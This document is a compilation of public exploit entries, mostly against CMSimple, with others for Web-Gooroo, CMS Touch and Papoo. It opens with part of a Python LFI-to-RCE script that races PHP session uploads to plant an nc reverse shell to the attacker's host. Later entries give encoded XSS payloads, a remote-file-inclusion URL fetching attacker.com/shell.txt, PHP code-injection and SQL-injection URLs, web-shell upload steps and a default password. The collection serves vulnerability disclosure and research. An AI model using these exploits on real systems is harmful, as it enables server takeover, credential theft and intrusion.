			data = f'csrf_token={CsrfValue}&functions_file=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fvar%2Flib%2Fphp%2Fsessions%2Fsess_S1lv3r&form=array&file=config&action=save'
			response = s.post(RHOST, headers=headers, cookies=cookies, data=data, verify=False)
			print("(+) Changing Functions file Done  ")
			print("(+) Check Your nc listner on " + LPORT)
	except Exception as error:
		print("Error, Exiting;( ")
		print(error)
		pass
def fuzz():
	while True:
		try:
			sessionName = "S1lv3r"
			cookies = {'PHPSESSID': sessionName}
			files = {'PHP_SESSION_UPLOAD_PROGRESS':(None,
				'<?php passthru("nc '+ LHOST +' '+ LPORT + ' -e /bin/bash");?>'),
				'file': ('Anything', 'S1lv3r'*100, 'application/octet-stream')}
			x = requests.post(RHOST, files=files, cookies=cookies, verify=False)#, proxies=proxies
		except Exception as error:
			print(error)
			exit()
def main():
	print("\n(+) CMSimple LFI to RCE \n")
	Login()
	threads = []
	for _ in range(20):
		t = threading.Thread(target=fuzz)
		t.start()
		threads.append(t)
	for thread in threads:
		thread.join

if __name__ == "__main__":

    if len(sys.argv) <= 5:
        print("\n(-) Usage: {} <RHOST> <LHOST> <LPORT> <USER> <PASS>".format(sys.argv[0]))
        print("(-) eg: {} https://xyz.xyz 192.168.1.15 1337 ".format(sys.argv[0]))
        print("\n(=) SiLvEr \n")
        exit()  
    else:
    	RHOST = sys.argv[1]
    	LHOST = sys.argv[2]
    	LPORT = sys.argv[3]
    	User =  sys.argv[4]
    	Password = sys.argv[5]
    	main()
HireHackking 
# Exploit Title: CMSimple 5.4 - Cross Site Scripting (XSS)
# Date: 22/10/2021
# Exploit Author: heinjame
# Vendor Homepage: https://www.cmsimple.org/en/
# Software Link: https://www.cmsimple.org/en/?Downloads
# Version: <=5.4
# Tested on: Linux os

[Description]

Since the application is filtering user input with preg_replace, attackers can able to bypass restriction by using HTML to Unicode encoding.

So the application let's attacker perform DOM based XSS.

[Payload and POC]

File > images > Upload a file

Attack vector >> ')-alert(1)// (need to encode)>>
&#39;&#41;&#45;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;&#47;&#47;

When the victim clicks the delete button,an alert will be executed.

Script to encode the payload

payload = input()
finalpayload = ""
for i in payload:
	finalpayload = finalpayload + "&#" + str(ord(i)) + ";"
print(finalpayload)
HireHackking 
# Exploit Title: CMSimple 5.2 - 'External' Stored XSS
# Date: 2021/04/07
# Exploit Author: Quadron Research Lab
# Version: CMSimple 5.2
# Tested on: Windows 10 x64 HUN/ENG Professional
# Vendor: https://www.cmsimple.org/en/

[Description]
The CMSimple 5.2 allow stored XSS via the Settings > CMS > Filebrowser > "External:" input field.

[Attack Vectors]
The CMSimple cms "Filebrowser" "External:" input field not filter special chars. It is possible to place JavaScript code. 
The JavaScript code placed here is executed by clicking on the Page or Files tab.

[Proof of Concept]
https://github.com/Quadron-Research-Lab/CVE/blob/main/CMSimple_5.2_XSS.pdf
HireHackking 
# Exploit Title: CMSimple 5.15 - Remote Command Execution
# Date: 04/28/2024
# Exploit Author: Ahmet Ümit BAYRAM
# Vendor Homepage: https://www.cmsimple.org
# Software Link: https://www.cmsimple.org/downloads_cmsimple50/CMSimple_5-15.zip
# Version: latest
# Tested on: MacOS

# Log in to SimpleCMS.
# Go to Settings > CMS
# Append ",php" to the end of the Extensions_userfiles field and save it.
# Navigate to Files > Media
# Select and upload shell.php
# Your shell is ready: https://{url}/userfiles/media/shell.php
HireHackking 
source: https://www.securityfocus.com/bid/68961/info
 
CMSimple is prone to multiple security vulnerabilities including:
 
1. Multiple arbitrary PHP code-execution vulnerabilities
2. A weak authentication security-bypass vulnerability
3. Multiple security vulnerabilities
 
An attacker can exploit these issues to bypass certain security restrictions, perform unauthorized actions and execute arbitrary script code in the context of the affected application. This may aid in further attacks. 

vulnerable file "http://www.example.com/CMSimple/plugins/filebrowser/classes/required_classes.php"

Vulnerable Code :
-----------------------------------vulnerable Code----------------------------------------

        require_once $pth['folder']['plugin'] . 'classes/filebrowser_view.php';
        require_once $pth['folder']['plugin'] . 'classes/filebrowser.php';

exploit Code :
-------------------------------------PoC----------------------------------------

http://www.example.com/CMSimple/plugins/filebrowser/classes/required_classes.php?pth[folder][plugin]=http://attacker.com/shell.txt?

also embedded These files :
    CMSimple/2lang/index.php
    CMSimple/2site/index.php
    CMSimple/cmsimple/cms.php
    CMSimple/index.php
    CMSimple/plugins/index.php
HireHackking 
source: https://www.securityfocus.com/bid/68961/info
  
CMSimple is prone to multiple security vulnerabilities including:
  
1. Multiple arbitrary PHP code-execution vulnerabilities
2. A weak authentication security-bypass vulnerability
3. Multiple security vulnerabilities
  
An attacker can exploit these issues to bypass certain security restrictions, perform unauthorized actions and execute arbitrary script code in the context of the affected application. This may aid in further attacks. 

vulnerable file "http://www.example.com/CMSimple/2author/index.php" 

An attacker might execute arbitrary PHP code with this vulnerability. User tainted data is embedded into a function that compiles PHP code on the run and executes it thus allowing an attacker to inject own PHP code that will be executed. 
This vulnerability can lead to full server compromise.

Vulnerable Code:
-------------------------------------vulnerable code---------------------------------------
    1320: preg_replace $c[$s] = preg_replace($words, '<span style="background: ' . $cmsimple_highlight_bg . '; color: ' . $cmsimple_highlight_tx . ';">\\0</span>', $c[$s]);  // functions.php
        1316: $words = array_map(create_function('$w', 'return "&".$w."(?!([^<]+)?>)&isU";'), $words);  // functions.php
            1315: $words = explode(',', urldecode($_GET['search']));  // functions.php
        1308:  function content($cmsimple_highlight_bg = NULL, $cmsimple_highlight_tx = NULL)
        1308:  function content($cmsimple_highlight_bg = NULL, $cmsimple_highlight_tx = NULL)
--------------------------------------vulnerable Code---------------------------------------
    1324: preg_replace $c[$s] = preg_replace($words, '<span class="highlight_search">\\0</span>', $c[$s]);  // functions.php
        1316: $words = array_map(create_function('$w', 'return "&".$w."(?!([^<]+)?>)&isU";'), $words);  // functions.php
            1315: $words = explode(',', urldecode($_GET['search']));  // functions.php
    



-------------------------------PoC:------------------------------ 
http://www.example.com/CMSimple/2author/index.php?color=';phpinfo();//

also effect these files :
    CMSimple/2lang/index.php
    CMSimple/2site/index.php
    CMSimple/2site2lang/index.php
    CMSimple/cmsimple/cms.php
    CMSimple/cmsimple/functions.php
    CMSimple/index.php
HireHackking 
source: https://www.securityfocus.com/bid/52661/info

CMSimple is prone to a cross-site scripting vulnerability because it fails to sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

CMSimple 3.3 is vulnerable; other versions may also be affected. 

http://www.example.com//cmsimple/cmsimplexh152/?'"</script><script>alert(document.cookie)</script>
HireHackking 
source: https://www.securityfocus.com/bid/68961/info

CMSimple is prone to multiple security vulnerabilities including:

1. Multiple arbitrary PHP code-execution vulnerabilities
2. A weak authentication security-bypass vulnerability
3. Multiple security vulnerabilities

An attacker can exploit these issues to bypass certain security restrictions, perform unauthorized actions and execute arbitrary script code in the context of the affected application. This may aid in further attacks. 

Any user can login just with simple password "test" which is the default cms password & there own vendor site is vulnerable with weak authentication 
just login without user name & also with default password "test" here "http://cmsimple.org/2author/?Welcome_to_CMSimple&login"
HireHackking 
# Exploit Title: CMS Web-Gooroo <=1.141 - Multiple Vulnerabilities
# Date: 01-06-2017
# Exploit Author: Kaimi
# Website: https://kaimi.io
# Vendor Homepage: http://web.archive.org/web/20120510194357/http://www.web-gooroo.com/
# Software Link: https://github.com/andrey-buligin/hanna/tree/master/wbg
# Version: <=1.141
# Category: webapps


1. SQL Injection
File: /wbg/core/_includes/authorization.inc.php
Vulnerable code:
$SQL_query = 'SELECT * FROM wbg_users WHERE (login=\'' . $_POST['wbg_login'] . '\') AND (password=\'' . md5(md5($_POST['wbg_password'])) . '\')';
$USER = mysql_fetch_assoc(mysql_query($SQL_query));


2. Hardcoded admin user
File: /wbg/core/_includes/authorization.inc.php
Vulnerable code:
if ((md5($_POST['wbg_login']) == '2d626704807d4c5be1b46e85c4070fec') && (md5($_POST['wbg_password']) == '2967a371178d713d3898957dd44786af')) {
	$USER = $this->get_megaadmin();
}

2d626704807d4c5be1b46e85c4070fec - mayhem
2967a371178d713d3898957dd44786af - no success in bruteforce, though...

3. Full path disclosure
Almost any file, because of lack of input validation and overall bad design.
CMS log file (besides DB log) location with full path and debug info:
/wbg/tmp/logs/syslog.log.php

4. Unrestricted file upload
Can be done via admin panel as attachment to any publication. No file type checking is performed.
HireHackking 
source: https://www.securityfocus.com/bid/67377/info

CMS Touch is prone to multiple SQL-injection and cross-site scripting vulnerabilities.

Successful exploits could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

CMS Touch 2.01 is vulnerable; other versions may also be affected. 

http://www.example.com/cmstouch/pages.php?Page_ID=[SQL]
HireHackking 
source: https://www.securityfocus.com/bid/67377/info
 
CMS Touch is prone to multiple SQL-injection and cross-site scripting vulnerabilities.
 
Successful exploits could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
CMS Touch 2.01 is vulnerable; other versions may also be affected. 

http://www.example.com/cmstouch/news.php?do=show&News_ID=[SQL]
HireHackking 
Advisory: Persistent XSS Vulnerability in CMS Papoo Light v6
Advisory ID: SROEADV-2014-01
Author: Steffen Rösemann
Affected Software: CMS Papoo Version 6.0.0 Rev. 4701
Vendor URL: http://www.papoo.de/
Vendor Status: fixed
CVE-ID: -

==========================
Vulnerability Description:
==========================

The CMS Papoo Light Version has a persistent XSS vulnerability in its guestbook functionality and in its user-registration functionality.

==================
Technical Details:
==================

XSS-Vulnerability #1:

Papoo Light CMS v6 provides the functionality to post comments on a guestbook via the following url: http://{target-url}/guestbook.php?menuid=6.

The input fields with the id „author“ is vulnerable to XSS which gets stored in the database and makes that vulnerability persistent.

Payload-Examples:

<img src='n' onerror=“javascript:alert('XSS')“ >
<iframe src=“some_remote_source“></iframe>

XSS-Vulnerability #2:

People can register themselves on Papoo Light v6 CMS at http://{target-url}/account.php?menuid=2. Instead of using a proper username, an attacker can inject HTML and/or JavaScriptcode on the username input-field.

Code gets written to the database backend then. Attacker only has to confirm his/her e-mail address to be able to login and spread the code by posting to the forum or the guestbook where the username is displayed.

Payload-Examples:

see above (XSS #1)

=========
Solution:
=========

Update to the latest version

====================
Disclosure Timeline:
====================
13-Dec-2014 – found XSS #1
13-Dec-2014 - informed the developers (XSS #1)
14-Dec-2014 – found XSS #2
14-Dec-2014 – informed the developers (XSS #2)
15-Dec-2014 - release date of this security advisory
15-Dec-2014 - response and fix by vendor
15-Dec-2014 - post on BugTraq

========
Credits:
========

Vulnerability found and advisory written by Steffen Rösemann.

===========
References:
===========

http://www.papoo.de/
http://sroesemann.blogspot.de